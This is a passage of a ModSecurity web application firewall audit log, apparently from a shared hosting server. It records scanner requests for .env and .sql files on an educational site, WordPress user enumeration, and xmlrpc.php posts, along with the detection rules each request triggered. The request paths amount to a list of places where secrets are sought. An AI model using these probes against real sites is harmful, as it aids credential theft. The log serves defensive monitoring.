must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f140bd123091f31eb9a1c735180f71e41750036113; expires=Mon, 16 Jun 2025 02:08:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --530fdb25-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/conf/.env"] [unique_id "aE9ukPbo0R64L12N_alZbAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036112472911 717685 (- - -) Stopwatch2: 1750036112472911 717685; combined=1798, p1=416, p2=1289, p3=0, p4=0, p5=92, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --530fdb25-Z-- --e64d832a-A-- [16/Jun/2025:06:38:35.158046 +0530] aE9ukroFnONBt7jRcByRwAAAAA4 185.177.72.210 46874 127.0.0.1 7081 --e64d832a-B-- GET /core/Datavase/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e64d832a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0d48244b0fdca1a1a768093595dc7d8e1750036115; expires=Mon, 16 Jun 2025 02:08:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e64d832a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/core/Datavase/.env"] [unique_id "aE9ukroFnONBt7jRcByRwAAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036114504705 653405 (- - -) Stopwatch2: 1750036114504705 653405; combined=1689, p1=378, p2=1215, p3=0, p4=0, p5=95, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e64d832a-Z-- --876b2960-A-- [16/Jun/2025:06:38:46.787175 +0530] aE9unrwLQO_9qxz2deDFqwAAAAw 185.177.72.210 49530 127.0.0.1 7081 --876b2960-B-- GET /:9000/docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --876b2960-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=421a957d2981d04c2421e202ef67bfa61750036126; expires=Mon, 16 Jun 2025 02:08:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --876b2960-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/docker/.env"] [unique_id "aE9unrwLQO_9qxz2deDFqwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036126005311 781928 (- - -) Stopwatch2: 1750036126005311 781928; combined=1620, p1=364, p2=1161, p3=0, p4=0, p5=95, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --876b2960-Z-- --696a0e78-A-- [16/Jun/2025:06:38:58.033830 +0530] aE9uqfvF1ly0gx5reNl-3QAAAAE 185.177.72.210 50304 127.0.0.1 7081 --696a0e78-B-- GET /data.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --696a0e78-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca1f1e81c617f403ad7be1d7c94741a11750036137; expires=Mon, 16 Jun 2025 02:08:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --696a0e78-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/data.sql"] [unique_id "aE9uqfvF1ly0gx5reNl-3QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036137364453 669440 (- - -) Stopwatch2: 1750036137364453 669440; combined=1786, p1=323, p2=1361, p3=0, p4=0, p5=102, sr=94, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --696a0e78-Z-- --0c10d941-A-- [16/Jun/2025:06:39:03.512541 +0530] aE9urp16HYQp4eDf7R1aJwAAAAI 185.177.72.210 37354 127.0.0.1 7081 --0c10d941-B-- GET /js/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0c10d941-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=442b5f63da05248d510c67a97d5a32c81750036143; expires=Mon, 16 Jun 2025 02:09:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0c10d941-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/js/.env"] [unique_id "aE9urp16HYQp4eDf7R1aJwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036142839406 673219 (- - -) Stopwatch2: 1750036142839406 673219; combined=2156, p1=466, p2=1543, p3=0, p4=0, p5=146, sr=107, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0c10d941-Z-- --bd49126c-A-- [16/Jun/2025:06:39:13.215538 +0530] aE9ut1XriBOgqnJNgkwlmwAAAAA 107.151.209.64 45942 127.0.0.1 7081 --bd49126c-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.home9ine.com X-Real-IP: 107.151.209.64 X-Accel-Internal: /internal-nginx-static-location Connection: close Cookie: _sfs_id=133c81e1f3e0d4a07291c9fcece298841750036150 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 --bd49126c-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.3.22 X-Robots-Tag: noindex Link: <https://www.home9ine.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --bd49126c-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.home9ine.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.home9ine.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.home9ine.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE9ut1XriBOgqnJNgkwlmwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/home9ine.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036151430948 1784687 (- - -) Stopwatch2: 1750036151430948 1784687; combined=2129, p1=316, p2=1694, p3=0, p4=0, p5=119, sr=88, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bd49126c-Z-- --0826ee6d-A-- [16/Jun/2025:06:39:25.460039 +0530] aE9uxA9THibLN0xLxET04gAAAAk 185.177.72.210 49012 127.0.0.1 7081 --0826ee6d-B-- GET /mailer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0826ee6d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ef0acfc3cb86b86ab28e559c602d72d91750036165; expires=Mon, 16 Jun 2025 02:09:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0826ee6d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/mailer/.env"] [unique_id "aE9uxA9THibLN0xLxET04gAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036164799235 660873 (- - -) Stopwatch2: 1750036164799235 660873; combined=1494, p1=313, p2=1049, p3=0, p4=0, p5=131, sr=76, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0826ee6d-Z-- --8e656e42-A-- [16/Jun/2025:06:39:26.792391 +0530] aE9uxboFnONBt7jRcByR3AAAAA4 128.199.112.101 49086 127.0.0.1 7081 --8e656e42-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --8e656e42-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --8e656e42-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9uxboFnONBt7jRcByR3AAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036165806098 986375 (- - -) Stopwatch2: 1750036165806098 986375; combined=2409, p1=363, p2=1629, p3=57, p4=75, p5=183, sr=99, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8e656e42-Z-- --482a2c36-A-- [16/Jun/2025:06:39:31.455158 +0530] aE9uypLRu31pT8F-J2ZQ0wAAAAc 185.177.72.210 37024 127.0.0.1 7081 --482a2c36-B-- GET /tmp/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --482a2c36-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1a32e6a1bd8c85903b552f9c946d2c511750036171; expires=Mon, 16 Jun 2025 02:09:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --482a2c36-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/tmp/.env.local"] [unique_id "aE9uypLRu31pT8F-J2ZQ0wAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036170763100 692120 (- - -) Stopwatch2: 1750036170763100 692120; combined=2423, p1=483, p2=1837, p3=0, p4=0, p5=102, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --482a2c36-Z-- --9416660b-A-- [16/Jun/2025:06:39:34.282819 +0530] aE9uzboFnONBt7jRcByR3wAAAA4 185.177.72.210 37098 127.0.0.1 7081 --9416660b-B-- GET /api/v2/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --9416660b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=194116b928ee2bb853c073a16c4150c31750036174; expires=Mon, 16 Jun 2025 02:09:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --9416660b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api/v2/.env"] [unique_id "aE9uzboFnONBt7jRcByR3wAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036173638819 644070 (- - -) Stopwatch2: 1750036173638819 644070; combined=1713, p1=384, p2=1233, p3=0, p4=0, p5=95, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9416660b-Z-- --904fcb3c-A-- [16/Jun/2025:06:39:40.255551 +0530] aE9u0516HYQp4eDf7R1aNQAAAAI 185.177.72.210 47556 127.0.0.1 7081 --904fcb3c-B-- GET /:8000/server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --904fcb3c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a36fc9702eb57ec9f326923001fe6ad31750036180; expires=Mon, 16 Jun 2025 02:09:40 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --904fcb3c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/server/.env"] [unique_id "aE9u0516HYQp4eDf7R1aNQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036179577445 678192 (- - -) Stopwatch2: 1750036179577445 678192; combined=1977, p1=403, p2=1458, p3=0, p4=0, p5=115, sr=108, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --904fcb3c-Z-- --ee41e92a-A-- [16/Jun/2025:06:39:50.450933 +0530] aE9u3bwLQO_9qxz2deDFywAAAAw 185.177.72.210 37740 127.0.0.1 7081 --ee41e92a-B-- GET /back/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ee41e92a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bcebd7f396ca6fb7a1493a84369bc59a1750036190; expires=Mon, 16 Jun 2025 02:09:50 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ee41e92a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/back/.env"] [unique_id "aE9u3bwLQO_9qxz2deDFywAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036189714574 736433 (- - -) Stopwatch2: 1750036189714574 736433; combined=1854, p1=382, p2=1384, p3=0, p4=0, p5=87, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ee41e92a-Z-- --2ca3ad61-A-- [16/Jun/2025:06:39:55.839196 +0530] aE9u4516HYQp4eDf7R1aPQAAAAI 185.177.72.210 37930 127.0.0.1 7081 --2ca3ad61-B-- GET /theme/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2ca3ad61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d07c714efe3185bcb921fb964cff110e1750036195; expires=Mon, 16 Jun 2025 02:09:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2ca3ad61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/theme/.env"] [unique_id "aE9u4516HYQp4eDf7R1aPQAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750036195165216 674044 (- - -) Stopwatch2: 1750036195165216 674044; combined=1736, p1=359, p2=1266, p3=0, p4=0, p5=110, sr=90, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2ca3ad61-Z-- --213aa602-A-- [16/Jun/2025:06:39:59.056914 +0530] aE9u5p16HYQp4eDf7R1aPgAAAAI 185.177.72.210 38034 127.0.0.1 7081 --213aa602-B-- GET /:8443/api/.env.local HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --213aa602-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=df4c52bf2a5b1197193fe744e306d7b81750036198; expires=Mon, 16 Jun 2025 02:09:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --213aa602-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/api/.env.local"] [unique_id "aE9u5p16HYQp4eDf7R1aPgAAAAI"] Apache-Handler: 